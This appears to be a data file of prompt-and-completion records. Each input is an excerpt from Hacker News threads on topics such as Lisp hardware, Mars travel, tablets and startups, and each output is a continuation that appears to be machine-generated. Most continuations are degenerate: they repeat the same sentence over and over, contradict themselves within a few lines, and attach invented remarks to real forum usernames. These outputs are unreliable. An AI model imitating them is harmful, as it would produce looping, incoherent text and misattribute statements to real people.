During the course of CS224n you'll\nget some project ideas as they discuss a ton of papers and the latest stuff.\n\n~~~\nrmchugh\nI think deep learning is a pretty hefty starting point for learning NLP.\nCutting"} +{"output_text": ", the lisp would be faster.\n\n~~~\nneutronicus\nI think you're right, but I think the author is wrong.\n\nI think the author is wrong because the author is comparing a dynamic language\nto a static language.\n\nI think the author is wrong because the author is comparing a dynamic language\nto a static language that has been optimized for performance.\n\nI think the author is wrong because the author is comparing a dynamic language\nto a static", "input_text": ".com/item?id=2192629>\n\n~~~\nneutronicus\nThe other half of his point was specially tuned hardware - the author seems to\nbelieve that the type-checking, gc, etc. don't cripple performance the way\nthey do on x86.\n\nI don't know if he's _right_, but that seems to be his point.\n\n~~~\nohyes\nThe idea is that you would have bits in the hardware dedicated to type\nchecking and garbage collection. The example being, that in the assembly\nlanguage/machine code, you may have a single arithmetic '+' operation.\n\nDetermining which hardware path to use to add two numbers would be done in the\nhardware itself. Check the type bits of the numbers and feed it into my ALU.\nCompare this to an x86 lisp, or compiled C, where 'type' of a 'number' is\ndetermined by the assembly code instruction that is used on it.\n\nThis isn't just a performance improvement, it is also an improvement in the\nsafety of the dynamic language.\n\nThere are a lot of different things that you could do for garbage collection.\nYou could have in-hardware reference counting, or 'dirty' and 'clean' (or\ncolor) bits, for a mark and sweep collector, or 'generational' bits for an\nephemeral garbage collector.\n\nThe idea is that any time you take something out of software, and put it into\nspecialized hardware, you should get a performance improvement.\n\nThis doesn't mean that the lisp on a chip would be faster than C on a\ncomparable x86 chip, it means that the things that make lisp (and other\nfunctional languages) safer and easier to use would be supported in hardware--\ntherefore"} +{"output_text": ". I'm a big fan of your\nwork.\n\n------\nmovedx\nI'm going to try to get back into the gym. I've been out of it for a while\nand I'm not sure why.\n\n------\nmovedx\nI'm going to try to get back into the gym. I've been out of it for a while\nand I'm not sure why.\n\n------\nmovedx\nI'm going to try to get", "input_text": " as screens\n\n------\nDiaznash\nThat title can make a good pitch for AR/VR.\n\n \nAsk HN: You've got one month, what's your challenge? - mezod\nAs simple as that, you have a month, what challenge do you tackle?

Typical examples:\n- write a book\n- code a game\n- train to run a marathon by the end of the month\n======\nadimitrov\nAfter 10 years of depression, carry over my good streak from last month and\nfinally finish my studies so I can have a better job.\n\nWhish me luck.\n\n~~~\nmovedx\nAll the best mate. Keep up the great work and good luck!\n\n------\ntjw\nCome home from work and do one productive thing, every day. I'm tired of\nfeeling lazy but not feeling motivated to do anything but play video games and\ngenerally be a slob.\n\n~~~\nmezod\nI think being more precise on what that one productive thing should be would\nhelp!\n\n------\ndyim\n* Get 100 active customer support agents on Panel Ninja [www.panelninja.com]\n\n* Send cold emails to 1,000 potential customers\n\n* Cut 15 seconds off my mile time\n\n* Run 4 experiments to iterate on the cold email process\n\n* Watch the Eagles beat the Giants, Falcons, Seahawks, and Packers :)\n\n------\negypturnash\nGet back to working on the comics pretty much every weekday. I've been bogged\ndown in printing stuff and writing pitches and I just wanna get back to\n_drawing some fucking comics_.\n\n~~~\nsmnscu\nWow \u2013 your art (and website, by the way) looks amazing"} +{"output_text": " and we wanted\nto make sure that we could get the benefits of the language without having to\nlearn a new language.\n\nB.ts files are compiled to JavaScript.\n\n3\\. The idea is that you can use the plugin to generate a model file from a\n.ts file. The model file is a file that describes the structure of the\napplication. It is a file that describes the types of objects that are\navailable in the application.\n\nThe model file is", "input_text": " more general way). What would\nbe the Xcode workflow for using this, starting from an empty project with no\nxcmodel file, and proceeding until it's done?\n\n~~~\nandrewcuneo\nI had almost given up on getting any traffic here. So, I'm excited that I got\nsome good questions. Let me try to answer them.\n\n1\\. It is kind of a bummer that we don't support Swift. As silly as it is,\nprobably the main reason for this is that at FB we only really code in ObjC\n(at least for the near term), so we wouldn't have any local use cases (which\nboth drive our development and help us validate that the concept is useful).\n\nIt is also true that the need for this type of system is a lot greater in\nObjC. Like you said, Swift is awesome in terms of its support for immutable\nobjects and it even supports something a lot like ADTS out of the box (they\ncall them \"Associated Values\" in their enums).\n\nBecause Remodel makes these nice concepts available in Objective-C, it's a\nuseful tool for people who like Swift but are, for whatever reason, working in\na Objective-C codebase.\n\nAlso, at some point we may make a Swift output option and it would have value\nin terms of the plugins that can make simple operations like encoding /\ndecoding or other basic helpers.\n\n2\\. A.ts file is a TypeScript file, which is a language that Microsft\ndeveloped which compiles to JavaScript. TypeScript looks a lot like JavaSript,\nbut it has types.\n\nWe chose TypeScript for the implementation of Remodel because we liked the\nfact that it's based on JavaScript which is extremely popular,"} +{"output_text": " problems.\n\n> You're never going to be able to fly to Mars, spend a few years, and fly\n> back and resume your life on Earth without long-lasting health effects.\n\nI don't think that's true. I think the effects of long-term space travel are\nvery different from the effects of short-term space travel. I think the\neffects of long-term space travel are mostly psychological, and that the\neffects of short-term space travel", "input_text": "'ll be able to fix problems and\nensure reliability and safety too. It'll be risky at first of course, and for\na long while after that. But I doubt it would be much riskier than we're\ncurrently living our lives here on Earth.\n\n~~~\ndangrossman\n> But I doubt it would be much riskier than we're currently living our lives\n> here on Earth.\n\nYou're probably underestimating the risks associated with humans leaving Earth\nfor any considerable period of time.\n\nRadiation is the first issue. NASA will not plan a mission that exposes\nastronauts to higher than a 3% risk of exposure-induced death. Their reports\nfrom 2010 based on all the studies done up to that point put the number of\n\"safe days\" at ~0.5-1 years. That assumes a healthy mid-30s non-smoker during\na solar minimum. So just getting to Mars would exceed the safe limits, even if\nwe had a very well radiation-shielded base waiting on the planet.\n\nMultiple years in space and Mars gravity will also have severe impacts on bone\ndensity and muscles. You're never going to be able to fly to Mars, spend a few\nyears, and fly back and resume your life on Earth without long-lasting health\neffects.\n\n~~~\ncryptoz\n> So just getting to Mars would exceed the safe limits\n\nThis is the problem with your argument that I'm underestimating risks. You're\nassuming that nobody finds a way to solve this problem or to mitigate the\neffects of the radiation, and that nobody would be willing to find a way to go\neven with the health concerns. I know this will be extremely difficult and\nquite costly, but I think hard work and constant innovation will solve a lot\nof the specific"} +{"output_text": "'t have a monopoly on the market. They are\ntrying to get into the market by making it easy for developers to use their\ntools.\n\n~~~\njosteink\nI'm not sure I understand your point.\n\nMicrosoft is not trying to get into the market by making it easy for\ndevelopers to use their tools.\n\nThey are trying to get into the market by making it easy for developers to use\ntheir tools.\n\n~~~\nx5n", "input_text": " it.\n\n \nVisual Studio Online Supports Cross-Platform Development - dstaheli\nhttp://blogs.msdn.com/b/visualstudioalm/archive/2015/06/05/visual-studio-online-supports-true-cross_2d00_platform-development-_2200_team-explorer-everywhere_2200_-tee-jenkins-git-xcode-mac-tfs-vso-_2200_visual-studio-online_2200_.aspx\n======\nbaldfat\n> Microsoft provided me both a PC laptop and a MacBook for my job and hired me\n> to coordinate the effort to enable and better support non-traditional\n> Microsoft developers (i.e. developers that use something other than C# and\n>.NET technologies) to easily design, build, test and deploy their software\n> and systems solutions, especially to the cloud.\n\nThis is a major change in terms of what I would hear from a Microsoft Blog\nPost on Software Development Tools and especially Visual Studio.\n\n~~~\nNicoJuicy\nNot only that... But i am a C# developer and now i can use tools like bower\nand gulp ( already knew them fyi). I seriously love this..\n\nI am afraid though that a lot of current.Net developers won't like this (\ncolleagues and because vNext is more command line based )\n\n------\njosteink\nThe fact that I'm now complaining about how FreeBSD is poorly supported\ncompared to other Unixes like Linux and OSX really is quite amazing.\n\n5 years ago I wouldn't even be surprised if MS websites intentionally didn't\nwork in browsers not IE. Now this.\n\n~~~\nx5n1\nMicrosoft realizes that they don"} +{"output_text": " I guess.\n\n~~~\nAndys\nI think it's a bit of a misnomer. The percentage of apps that are approved is\nprobably closer to 99%.\n\n~~~\nHexstream\nI think it's a bit of a misnomer because it's not really a percentage. It's\njust a number.\n\n~~~\nAndys\nIt's a number of apps that have been approved.\n\n------\njoshu\nI'm not sure I", "input_text": " seen an OTAHD antenna? That's why.\n\n~~~\nnailer\nN95 has TV in some countries. The phones look like ordinary N95s. So do lots\nof Telstra phones in Australia (which have Foxtel content) and KDDI phones in\nJapan. They just look like ordinary phones.\n\n~~~\nAndys\nThe Telstra phones stream the Foxtel content digitally over NextG if I'm not\nmistaken?\n\n~~~\nnailer\nYup, and good point: there's no need for a giant antennae, anything capable of\n3G can do it fine.\n\n------\ncomatose_kid\nSDK access to bluetooth? Awesome, I have a client who is dying for this...\n\n------\nmarkessien\nLovely. This was a good platform choice for me to specialize in. I'm going to\nstart consulting almost exclusively for the iPhone, I think it's a platform\nthat will be here for a good number of years.\n\n------\npxlpshr\nApple really nailed it with version 3.0, and this is going to be great for us.\nI suspect you'll start seeing app acquisitions as companies look to acquire an\n'install' base to leverage.\n\nTime to get crankin' on more apps before gold rush 3.0!\n\n~~~\npxlpshr\nActually, hmm.. I wonder how the subscription will work for apps that were\nformerly free. I assume users will be able to 'opt-in' for subscription\npayment, otherwise the application is deleted.\n\n~~~\nGHFigs\nIn-application payments are not available for free applications.\n\n------\nHexstream\n96% of apps are approved? I thought the percentage was much lower. Vocal\nminority,"} +{"output_text": "n\nI have a bunch of old floppies that I've never been able to read. I'm\nsurprised that they're still readable.\n\n~~~\n6d6b73\nI have a bunch of old floppies that I've never been able to read. I'm\nsurprised that they're still readable.\n\n------\njoshu\nI have a bunch of old floppies that I've never been able to read. I'm", "input_text": ".\n\nWhen hardware progress occurs, files are transferred to new hardware and you\ncould expect that 30 years from now, your files will still be there.\n\n~~~\nmakapuf\nWell the ide interface has been there for quite a long time.\n\n~~~\nBrandoElFollito\nYes, but disk drives (readers) are harder and harder to get.\n\nI have 5.25\" floppy disks with some awesome software I wrote at the university\nwhich is now probably lost (even if I had a drive the content is probably\ngone). Same for 3.5\"s, zips,...\n\n~~~\nzellyn\nUnless you left them near something magnetic at some point, allowed them to\nmildew, or left them in a _very_ hot car, they're quite possibly still\nreadable. They are remarkably stable over time. See all of 4am's work for\nexamples :-)\n\n------\nvidanay\nInterestingly, I still have the monitor from my IIc. I no longer have the\ncomputer, but the monitor is sitting in my garage. Sadly though I think it has\nwater damage.\n\n~~~\ndrudru11\nDo you still want the monitor?\n\n~~~\nvidanay\nI have no need for it, but I would be VERY surprised if it is functional\n\n~~~\ndrudru11\nAre you in the SF Bay Area?\n\n~~~\nvidanay\nNo, Chicago\n\n~~~\ndrudru11\nAh - make sure it goes to a good home\n\n------\n6d6b73\nJust yesterday I acquired 3 5440 ibm disk cartridges.. I have no clue how/if\nI'm ever going to be able to read them, but some day I will try:)\n\n~~~\nzelly"} +{"output_text": "greml1n\nI did. I'm not sure if they got it or not.\n\n------\njasonlbaptiste\nI'm not sure if this is a good idea. I'm not sure if it's a good idea to\nstart a company in India. I'm not sure if it's a good idea to start a company\nin India. I'm not sure if it's a good idea to start a company in India. I'm\nnot sure if it", "input_text": " Internet connection\nso that you can work whenever you wake up\" [treating as kids or just coders,\n2008] to saying something like \"we will give 5L and open an account for the\ncompany\" [treated as entrepreneurs, 2009]. Still, a long way to go.\n\nThe 2008 archives with some photos\n. I do agree that they\nhave a bad choice of photos on the blog, it does effect PR.\n\nMoreover they will need someone like PG to make it like YC, that ain't\nhappenin' that easy. :-)\n\nStill, I wish them luck! We do need \"worthy\" YC clones in many countries.\n\n------\najju\nFreeman Murray seems like a cool guy. iAccelerator doesn't seem to be\nbureaucratic like the other incubator type things I have seen in India. The\nbest part is iAccelerator is also in my hometown of Ahmedabad. Go\niAccelerator, I am rooting for you.\n\n~~~\nfreemanindia\nThanks for the plug. iAccelerator is moving to Bangalore for this year's\nwinter season.\n\n~~~\nsubbu\nIts a bit late now. The last date was Sep 12 :(\n\n------\ngreml1n\nIs the guy on the right wiping his nose on his shirt or sniffing his arm pit?\nNot to be picky but that immediately shot out at me when the page came up.\n\nIn any event, the world needs more of these.\n\n~~~\nbaguasquirrel\nYou should probably do them a favor and fire off an email if you think it's\nbad PR.\n\n~~~\n"} +{"output_text": " Lisp OS that is actually being\ndeveloped?\n\n~~~\njrockway\nI don't know of any. I think the closest thing is the Lisp Machine, but it's\nnot really a Lisp OS.\n\n~~~\npnathan\nI'm not sure what you mean.\n\nThe Lisp Machine was a Lisp OS.\n\n~~~\njrockway\nI'm not sure what you mean. The Lisp Machine was a Lisp OS.", "input_text": " here:\n\n\n\nFrom what I understand, the main win is that they use nested page tables to\nlet the JVMs handle page faults directly, which is how they implement high-\nperformance read barriers.\n\nI don't know a lot about garbage collection, but read barriers seem to be the\nessential piece for implementing real-time (which really should be called\n\"non-blocking\") GC.\n\nThere's a good discussion on LtU about this: \n\n[edit] I should mention how this relates to Lisp operating systems: if you\nreplace the virtual memory system with a garbage collector (ie push the GC\ninto the kernel), you can get the same effect but without needing nested page\ntables/VT-x/RVI, even for user-space processes.\n\nIt should also be more efficient and waste less memory on fragmentation than\ngoing through a dumb VM.\n\n------\ndefroost\nWhile not a Lisp OS, StumWM is an\ninteresting project. I run it on Debian, and I like to pretend I using a Lisp\nMachine.\n\n------\nnwmcsween\nUnix as in POSIX days are either numbered or is going to be perpetually hacked\ninto something it can't do without issue. Distributed computing is becoming\nmore of a norm with consumers having many devices. A look into what future\noperating systems might look like are Midori or Inferno (which was way ahead\nof it's time) or any other vm based operating system.\n\n------\npnathan\nDoes anyone know if there's any sort of"} +{"output_text": " in the tablet market. I think\nthe Fire is a great device, but I think the iPad is a better device.\n\n------\njoshu\nI think the iPad is a better device.\n\n------\njoshu\nI think the iPad is a better device.\n\n------\njoshu\nI think the iPad is a better device.\n\n------\njoshu\nI think the iPad is a better device.\n\n------\njoshu", "input_text": " the iPad 2 to the Fire's price.\n\n------\nsjs\nIt's not a threat unless people stop buying iPads. How you do you get from\n\"interest in the Fire\" to \"lack of interest in the iPad\"?\n\nThey don't compete on price. They're not really even the same class of device.\nThis is just another pointless and content-free \"ZOMG KILLER IS ON THE\nWAY!!1\" article.\n\n~~~\nkemper\nI don't agree at all.\n\n\"The more interesting stat, perhaps, is that more than a quarter of\nrespondents in ChangeWave\u2019s survey who confirmed an imminent Kindle Fire\npurchase said they would buy the Amazon tablet in place of an iPad.\"\n\nThe correlation between the intentions of respondents in this survey and the\ngeneral tablet-buying public is not clear, as is the case with any survey, but\nin this context the Kindle Fire is clearly a threat to the iPad. 26% - that's\na huge threat.\n\n~~~\nsjs\nWere they really going to buy iPads though? Maybe they wanted an iPad but were\nnot going to buy one.\n\n------\nwmeredith\nI wouldn't trade my iPad for a Fire ATM, but I would love to see some real\ncompetition in the consumer tablets arena. Amazon vs. Apple means that I win.\n\n------\nalttag\nWould it be okay if we waited for them to appear in the wild before we start\ncomparisons about whether it's a \"threat\"?\n\n(Also, never mind the surveys show differences of 1%, which is likely around\none-third of its margin of error.)\n\n------\nalexwolfe\nApple is going to face some stiff competition"} +{"output_text": "ances_%28Star_Trek:_The_Next_Generation%29)\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think the point is that you can't just copy a vector.\n\n~~~\njoshu\nI think the point is that you can't just copy a vector.\n\n~~~\njoshu\nI think the point is that you can't just copy a", "input_text": " fit exactly in the space left over by the old\nelements?\n\nSolving the equations suggest a fibonacci like sequence, seeded by something\nlike \"2, 3, 4, 5\". Continuing 9, 14, 23 etc.\n\n~~~\njudk\nhe golden ratio and then rounding down. What's the point of putting 4 into the\nseed sequence?\n\n~~~\nthomasahle\nWithout _4_, the sequence would be _2, 3, 5_. Then the next value would be\n_9_ by fibonacci. But that's bigger than the _5_ we get from adding up all the\nunallocated pieces ( _2_ and _3_ ).\n\nWe could use just _2, 3, 4_ as a seed, but we can't use the fibonacci formula\nbefore the fourth element is added. Try some different seeds for yourself,\nit's trickier than you'd think.\n\n------\nmalkia\nFor big vectors, if there is obvious way, I always hint vector with reserve()\n- for example knowing in advance how much would be copied, even if a bit less\ngets copied (or even if a bit more, at the cost of reallocation :().\n\n------\nck2\n_Then the teleporting chief would have to shoot the original_\n\nAs an aside, there was a great Star Trek novel where there was a long range\ntransporter invented that accidentally cloned people.\n\n(I think it was \"Spock Must Die\")\n\n~~~\ndalke\nThere's also the ST:TNG episode \"Second Chances\".\n[http://en.wikipedia.org/wiki/Second_Chances_%28Star_Trek:_Th...](http://en.wikipedia.org/wiki/Second_Ch"} +{"output_text": " its ability to learn a list of\nwords is like determining how intelligent a human is by their ability to\nlearn a list of words.\n\n~~~\njamesbritt\n\"Determining how intelligent an animal is by its ability to learn a list of\nwords is like determining how intelligent a human is by their ability to\nlearn a list of words.\"\n\nI think that's a pretty good analogy.\n\n------\njamesbritt\n\"The dog, a border", "input_text": "one, turns out I had artsys app installed and got\ndeep linked into it, then was greeted with a login screen, no way to skip and\nnot the article.\n\nHunted and pecked for it on my home screen, and uninstalled it\n\n------\ncosinetau\nMove fast and break shit!\n\n~~~\nnkrisc\nChildren have been doing that for ages.\n\n \n\nDog learns over 1,000 words - dangoldin\nhttp://www.nytimes.com/2011/01/18/science/18dog.html\n\n======\nVivtek\nI call shenanigans. The researcher wrote the name of each toy onto it with a\nSharpie - clearly the dog simply read the name off instead of memorizing all\n1000 items.\n\nThere's just so much sloppy research out there.\n\n~~~\nJshWright\nI think it's funny that the dog's recall outpaced the researcher...\n\nThe article mentions the fact that humans can use context to help remember\nwords, but the dog has to use rote repetition. It's interesting that the\nreliance on context that helps us learn stuff in general could mean that dogs\nmay actually be \"better\" at building a vocabulary of 1000+ unrelated names.\n\n~~~\nmhb\nIt doesn't sound like the researcher had any trouble remembering the words.\nJust remembering which ones he had taught to the dog.\n\n------\njeremymims\nWe humans define intelligence in such limited terms.\n\nI have a border collie who's remarkably intelligent. But the words she knows\nare just the beginning. She's incredibly perceptive. Gestures, facial\nexpressions, and vocal tone are all things she pays attention to.\n\nDetermining how intelligent an animal is by"} +{"output_text": " long-term.\n\n------\njrockway\nI don't think this is true. The iPhone is a commodity. It's not like you can\nbuy a new iPhone and have it be better than the one you have.\n\nThe only thing that makes the iPhone better than the competition is the\nsoftware. The hardware is the same.\n\n~~~\njoezydeco\n_The only thing that makes the iPhone better than the competition is the\nsoftware._\n", "input_text": "youtube.com/watch?v=9RYXqCtsZsc> (watch from 21:00 for the\nexact part).\n\nIt claims that Apple has some major advantage in terms of capital cost for the\ndevices themselves. It mentions their chips but I don't see how they can have\nsuch a major advantage.\n\nI'd love to hear if anyone has any insights into how they might be able to\nhave radically lower costs.\n\nThe guy seems pretty credible.\n\n~~~\nangstrom\nHe's talking about the supply chain optimization. One example is the dram\nchips used to build the iphone came from Samsung. They were sourced at\nquantities so large they are actually cheaper for Apple's iPhone than they are\nfor Samsung's own phones. Streamlined products where the only segmentation is\nstorage space make this possible. They can actually request such a large order\ntheir competitors can't match and get squeezed to the end of the manufacturing\nline while also paying more. To match they have to spend more. This hurts even\nmore if your'e not controlling the distribution.\n\nTo the average non-techie all they have to decide is what color and storage\nsize they want. This makes the device friendlier to consumers and takes away\nstress of understanding the hardware choices. The customer is actually happier\nif they don't have too many choices. People pay as much for this as they do\nthe curated apps.\n\n~~~\npja\nI've read elsewhere that Apple also started fronting the capital for the plant\ninvestment required to build the components they need, in return for very\nfavourable lock-in agreements (\"We will always be able to buy your product at\n10% less than anyone else.\" That kind of thing.)\n\nIn short, Apple is thinking big & thinking"} +{"output_text": " they got it.\n\n------\njoshu\nI think the problem is that you're trying to do too much.\n\nI think you should focus on the most important thing: making sure that the\nuser can get their job done.\n\nIf you can do that, then you can do anything.\n\n~~~\nsgdesign\nI agree, but I think that's the point of the post.\n\nI think the problem is that you're trying to do too", "input_text": "'t as effective is trying to serve both dummies and experts by offering\nplans with wildly different pricing.\n\nYou probably need to make a choice: choose a positioning in either the\n\"dummies\" or \"expert\" space and serve only this population.\n\n~~~\nsgdesign\nFunny, I thought about illustrating the post with 30 Rock's Liz Lemon (as a\nfamous \"dummy\") but thought people wouldn't get the reference.\n\nBut after reading about this \"Lemon Effect\", I'm starting to think maybe her\nname is not a coincidence\u2026\n\n------\ngscott\nGoing above and beyond on end user self-service support helps.\n\n1\\. Mouseover help on every input field\n\n2\\. Searchable help system with screen captures, it has to be comprehensive.\n\n3\\. Video help, Camtasia style walk throughs.\n\nYour users are not dummies. They need support, on the feature they are using,\nwhen they are using it. You can either provide that support self-service or\nyou can provide it via email/phone. One is far easier for the user (self-\nservice) and the other is much harder on you (answer emails on how to use\nbasic functionality).\n\nI ran a free crm system for about 10 years, it took refining how each feature\nworked and creating all of the different ways of self-service support but I\nwas able to get technical support down to 1 question per week. That was with\nabout 1,200 unique daily users... users who would be in the system all day\nbecause they had all of their calendars, files, contacts, and other things\nonline in the system. They didn't want to wait for support, they wanted the\nanswer right away and I made sure"} +{"output_text": "\ndjt\nI think the point is that it's not a big risk.\n\n------\njrockway\nI think this is a great idea. I would love to see a \"steal this laptop\"\nwebsite. I would pay $50 to have someone steal my laptop.\n\n~~~\njrockway\nI guess I should clarify. I would pay $50 to have someone steal my laptop,\nthen I would pay $50 to have someone steal my laptop,", "input_text": " way they have a low risk, easy to turn\nover, virtually untraceable scheme, and that is obviously a very attractive\nthing.\n\n~~~\nfreiheit\nShoplifting is theft. I think you meant \"robbery\".\n\n~~~\nCogito\nYou are of course correct, I should have picked that up thanks!\n\n------\ndjt\nA similar story: I read years ago that there was a gang of people that would\nsteal laptops at airports when businessmen were tired and unattentive. The\nreason they gave was that it was easy to move them (this was 10 years ago so a\nMacbook Pro was about $5k) and if they got caught they could pretend they\naccidently picked it up instead of their own bag. If they got caught it was\nvery unlikely to be prosecuted.\n\nThe robbers said that compared to robbing a convenience store etc it made as\nmuch cash but the risk was extremely low.\n\n~~~\nGabrielF00\nAbout five years ago I worked in an office that was above a physical therapy\nplace. Sometimes patients would sneak upstairs and steal a laptop. We were\nable to recover one laptop: the guy who stole it sold it to a kid for $50 and\nwhen the kid came home, his Dad made him tell how he'd gotten it. The Dad\nfound our number and said he'd give us back the laptop for the $50 his kid\nspent, which we were happy to do. Another time a laptop was stolen the thief\nwasn't smart enough to take the power cord.\n\nI guess if you're desperate enough that you're willing to commit a crime for\n$50 then stealing a laptop is a better idea than robbing a convenience store\nbut you still have to be pretty desperate.\n\n~~~"} +{"output_text": " h265.\n\n~~~\ntambre\nAV1 is not inferior to h265. It's a different codec.\n\n~~~\nThe_rationalist\nI know that. But it's a different codec.\n\n------\nm0zg\nI'm not sure if I'm missing something, but I don't see any mention of the\nactual performance of the CPUs. I'm not sure if it's just me, but I don't see\nany mention of", "input_text": "71065g7-or-ryzen-7-4700u-the-laptop-market-just-blew-wide-open)\n\n~~~\nbasilgohar\nNot that I want to apologize for poor performance, but I remember feeling let\ndown by that review because some obvious differences between the platforms\nwere not highlighted that should feed into the conclusions, not the least of\nwhich was the drastically different memory used between the two platforms.\n\nThe article was billed as \"let's see the difference between AMD and Intel\" but\nthere were significant platform differences that made it not quite apples-to-\napples.\n\n------\nMikusR\nAny idea if these support full HW acceleration of VP9 (Youtube)?\n\n~~~\nwmf\nThe previous gen has it, so yes.\n\n~~~\nThe_rationalist\nAnd about AV1?\n\n~~~\ntambre\nVery unlikely. They'd be the first to ship customer PC parts with AV1 decode\nsupport. But the next generation almost certainly will. Same goes for other\nvendors, for Nvidia post-Ampere, for Intel post-Icelake/Tigerlake/whatever the\nnext is nowadays, etc.\n\nOtherwise, there are AV1 decode IPs available, including a SoC or two. Plus\nsome very recently announced set-top boxes and TVs. So you'll definitely be\nseeing some hardware with AV1 support shipping this year.\n\n~~~\npkulak\nCan't wait. I'm really hoping AV1 is the be-all end-all and we can all stop\nmoving to new codecs.\n\n~~~\nThe_rationalist\nAV1 is inferior to h265 and the successor to h265 should come soon and rekt\nAV1 and"} +{"output_text": " I will look for a test suite that is not just a bunch of unit tests, but also integration tests.\n\n* I will look for a test suite that is not just a bunch of unit tests, but also integration tests.\n\n* I will look for a test suite that is not just a bunch of unit tests, but also integration tests.\n\n* I will look for a test suite that is not just a bunch of unit tests, but also integration tests.\n\n*", "input_text": " up in the best\nway possible and is worth a read: [https://thedefiant.substack.com/p/ether-is-\nthe-best-model-fo...](https://thedefiant.substack.com/p/ether-is-the-best-\nmodel-for-money)\n\n \nAsk HN: How do you measure risk with an open source project? - bazMVP\nIf you've found a new project on GitHub that you want to use, how do you quantify the associated risk of using it in a "production" application? For example: the project is only open for 6 months, or has many more open issues vs. closed issues, or has negative sentiment in commit messages. Of course it's a case-by-case basis, I'm looking for examples of what factors are deemed important when making this type of decision.\n======\nkazinator\n* I look at the code and determine, subjectively, whether this was written by first-rate developers or monkeys. I will consider this from various angles ranging from the overall program organization, to the details of how the programming language is used. If I spot bugs in this inspection, I will skip the project and look for something else. In particular anything that is a security flaw or could cause a crash is an instant deal-breaker. Not because everyone should be perfect and write error-free code the firs time, but because I was able to find it just by casually looking, whereas the maintainers have been working with that code for months and are blind to it---that erodes my confidence in the developers.\n\n* I will look for a regression test suite: how extensive is it? If you don't see any tests, that's a big warning sign.\n\n*"} +{"output_text": "ercival. He is one of the few people\nwho have been able to make a living out of what he does.\n\nHe is a very good programmer, and a very good writer.\n\nHe is also a very good teacher.\n\nHe has written a lot of books on programming, and has a very good blog.\n\nI have read a lot of his stuff, and I have found it to be very good.\n\nI have also read a lot of books", "input_text": " want to give you my email id. As a user, I take\nthe time and effort to actually visit your site without anyone marketing it to\nme, and I am turned away without even being told what you guys do.\n\n~~~\nsthomps\nYes, I realize that. We are in stealth mode currently and in the process of\nbuilding the alpha platform. I do appreciate you visiting though, and we do\nunderstand that it is your time and there is little information about the\nproduct.\n\n~~~\nchaosprophet\nI don't really get the fuss about stealth mode. AFAIK you don't really achieve\nanything being in stealth mode. You might get some traffic out of the mystery\nfactor, but other than that I really don't see any reason why startups choose\nto be in stealth mode. Personally I would be shouting off the roofs about what\nwe are doing.\n\nIn any case, I believe that if you're asking user's for their email, then you\nshould tell them what you are doing. You don't have to give much details. A\nshort 3 line summary would be enough. In my opinion, \"Explore. Connect.\nAchieve.\" isn't going to get you a lot of emails. Just my two cents.\n\n~~~\nalain94040\nI can think of _one_ reason to be in stealth mode: so the press covers you\nwhen you get out of stealth mode. Because that's news. Apart from that, I\ndon't think it matters.\n\n \nThe software development final exam: Mathematics - cperciva\nhttp://www.daemonology.net/blog/2012-10-10-software-development-final-exam-part-3.html\n======\nkamaal\nI have immense respect for Dr Collin P"} +{"output_text": "'s a lot of flattery in it.\n\n------\njolie\nI'm not sure if this is a good idea, but I'm going to try it.\n\n------\njolie\nI'm not sure if this is a good idea, but I'm going to try it.\n\n------\njolie\nI'm not sure if this is a good idea, but I'm going to try it.\n\n------\njolie\nI'm", "input_text": "agicman\nAnytime they say something like \"Just do X now and we'll do Y in the future\"\nwhere X is an idea you disagree with that will be a problem in the future, and\nY is your proposed alternative to fix things now before they get out of hand.\n\nGet ready to be fixing shit.\n\n------\nmichelinman\nBoss asks 'When?', I say 'You can have it now or in 3 days when it works'.\nBoss decides NOW to hit his deadline. Not allowed to book any more time to it.\nSlagged of un-mercifully in testing. Thanks Boss. \u00a350Bn business is run this\nway.\n\n------\nalliao\n\"I myself personally can't stand politics get in the way of work!\" rather\nsuggestive that they're thinking about it...a lot.\n\n\"why don't you be the team leader, but let's not tell anyone...\"\n\nHmmm\n\n------\nthewhitetulip\n1\\. You need to reskill! Future is about x y or z technology\n\n2\\. You have already learnt x technology? We can move you of your current\nproject manger can release you.\n\n3\\. _Sighs_ reskilling isn't working as per our expectation\n\n------\nIdidntdothis\nIn my company they sometimes change \u201cestimates\u201d to \u201ccommitments\u201d.\n\n~~~\noneepic\nHow often is sometimes? Always?\n\n------\ncntlzw\nflattering\n\n \n\nWhy we're a titleless startup - jolie\nhttp://socialuxe.com/2010/04/why-we-are-a-titleless-startup/\n\n======\naasarava\nIt's a good article, but there"} +{"output_text": "\n\n~~~\nmatt4077\nI don't think he's a member, but he's certainly an ally.\n\n> I don't think he's a member, but he's certainly an ally.\n\nI don't think he's an ally, but he's certainly a member.\n\n~~~\npaulddraper\n> I don't think he's an ally, but he's certainly a member.\n\nI don't think he's an ally,", "input_text": "rs-leon.html) [https://penetrate.blogspot.com/2016/11/an-alt-right-\nsearch-e...](https://penetrate.blogspot.com/2016/11/an-alt-right-search-\nengine.html) [https://penetrate.blogspot.com/2016/10/anonymous-email-is-\nan...](https://penetrate.blogspot.com/2016/10/anonymous-email-is-anti-\nsemitism-new.html)\n\n~~~\npaulddraper\nWhere in those blog posts do you see that he is a member, ally, or ideological\nproponent of the National Socialist German Workers' Party?\n\nHe's a nationalist, but explicitly rejects Nazism/neo-Nazism.\n\n> Why the Future of Nationalism is Far from the Mess that is \"White\n> Nationalism\"\n\n> To my mind, it's a mistake to identify as pro-white or neo-Nazi when what we\n> want is much simpler...That means that each nation rules itself, makes its\n> own rules, and does so through culture instead of the bureaucratic\n> governments that absorb infinite money, make crazy rules, become corrupt,\n> and kick down your door in the night because you said something socially\n> unpopular on Farcebook or Twitless.\n\n> In my view, those who want to be \"pro-white\" should shift to this\n> generalized nationalist program\n\n[https://penetrate.blogspot.com/2013/11/why-future-of-\nnationa...](https://penetrate.blogspot.com/2013/11/why-future-of-nationalism-\nis-far-from.html)"} +{"output_text": "ially, it's a no brainer.\n\n~~~\njrockway\nApple is not a charity. They are a business.\n\n~~~\nguard-of-terra\nI don't understand why you are so sure they are not a charity.\n\n~~~\njrockway\nBecause they are not.\n\n~~~\nguard-of-terra\nI don't understand why you are so sure they are not a charity.\n\n~~~\njrockway", "input_text": ".\n\n------\nmahyarm\nThe parallels between america vs europe back in the 1800s and china vs america\nnow are very interesting.\n\n------\nwallflower\nIf you have not read \"What is China\", read it after:\n\n\n\n~~~\njackfoxy\nWould really like folks who down-voted you to explain themselves. The fact\nChina (and Russia) are the only supports of North Korea says everything you\nneed to know about the essence of the rulers of both countries.\n\n~~~\nforensic\nWell, someone needs to be friends with NK. I don't think China leaning on NK\ncould really help there. NK would just get more isolated. The solution to\nNorth Korea is to stop scaring them so 